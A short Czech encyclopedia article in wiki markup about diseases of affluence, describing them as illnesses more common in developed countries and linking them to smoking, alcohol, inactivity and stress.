'''Civilizační choroby''' (také ''nemoci z blahobytu'', {{Vjazyce|en}} {{Cizojazyčně|en|''diseases of affluence''}}) je označení pro skupinu [[nemoc]]í, které se častěji vyskytují ve vyspělých zemích než v zemích třetího světa. Předpokládá se, že jsou důsledkem moderního městského životního stylu. K tomu přispívá například to, že mnoho lidí ve vyspělých zemích kouří, pije alkohol, má nedostatek fyzické aktivity, trpí dlouhodobým stresem apod. V těle se nám pak nahromadí radikály, které urychlují rozvoj mnoha nemocí včetně rakoviny. Civilizační choroby mohou dále způsobovat například srdeční onemocnění, cukrovku, bolesti hlavy či zad.
